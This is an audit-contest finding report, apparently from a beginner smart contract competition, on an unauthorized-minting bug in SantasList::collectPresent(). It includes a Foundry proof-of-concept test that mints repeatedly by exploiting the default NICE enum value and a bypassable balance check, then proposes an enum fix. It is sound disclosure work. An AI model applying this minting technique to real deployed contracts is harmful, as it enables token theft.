Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

`SantasList::collectPresent()` leads to unauthorized minting tokens due to not checking whether the checklist process has been completed

Summary

The SantasList::collectPresent() function is open to unauthorized minting because the contract does not control the checklisting process complement. Therefore, it is necessary to verify the complement of the checklisting process.

Vulnerability Details

In Solidity, every variable has a default value. If the value of a variable is not changed, it remains the same as the default value. A mapping defines default values that are pointed to. Also, in the SantasList contract, the s_theListCheckedOnce(address => Status) and s_theListCheckedTwice(address => Status) mappings defined with default values. the Status enum's default value is NICE because of its first defined option. This means every user defined as NICE role which is authorized to minting tokens. Thus, anyone can mint unlimited tokens after bypassing the s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE check in the collectPresent(). For minting many tokens, the balanceOf(msg.sender) > 0 can be bypassed by transferring token to another address using transferFrom(address,address,uint256).

Impact

Attacker can mint unlimited tokens without any permission.

Proof Of Concept

  • Check the status of the sender's address. Contract will returnStatus.NICE.

  • Set the time after the CHRISTMAS_2023_BLOCK_TIME.

  • Call collectPresent() and mint token.

  • Transfer the minted token to another attacker's address. Thus, set the attacker's balance 0 again.

  • Call collectPresent() and mint token again. [Continue in the third step]

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {SantasList} from "../../src/SantasList.sol";
import {SantaToken} from "../../src/SantaToken.sol";
import {Test} from "forge-std/Test.sol";
import {Utilities} from "./utils/Utilities.sol";
contract SantasListTest is Test {
Utilities internal utils;
SantasList internal santasList;
SantaToken internal santaToken;
address payable internal attacker;
address payable internal user;
address payable internal santa;
function setUp() public {
utils = new Utilities();
address payable[] memory users = utils.createUsers(3);
attacker = users[0];
user = users[1];
santa = users[2];
vm.label(santa, "Santa");
vm.label(user, "User");
vm.label(attacker, "Attacker");
vm.startPrank(santa);
santasList = new SantasList();
santaToken = SantaToken(santasList.getSantaToken());
vm.stopPrank();
}
function testExploit() public {
assertEq(uint256(santasList.getNaughtyOrNiceOnce(attacker)), uint256(SantasList.Status.NICE));
assertEq(uint256(santasList.getNaughtyOrNiceTwice(attacker)), uint256(SantasList.Status.NICE));
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(attacker);
santasList.collectPresent();
assertEq(santasList.balanceOf(attacker), 1);
santasList.transferFrom(attacker, user, 0);
assertEq(santasList.balanceOf(attacker), 0);
santasList.collectPresent();
assertEq(santasList.balanceOf(attacker), 1);
vm.stopPrank();
}
}

Finally run the test with: forge test

Tools Used

  • Foundry

Recommendations

The Status enum should start with NOT_CHECKED_TWICE value to avoid default authorization issue in the mappings.

enum Status {
- NICE,
EXTRA_NICE,
NAUGHTY,
NOT_CHECKED_TWICE
}
enum Status {
+ NOT_CHECKED_TWICE,
NICE,
EXTRA_NICE,
NAUGHTY
}
Updates

Lead Judging Commences

inallhonesty Lead Judge
over 1 year ago
inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

default status is nice

In Solidity the first element of an enum is the default value. In Santa's List, the means each person is mapped by default to 'NICE'.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.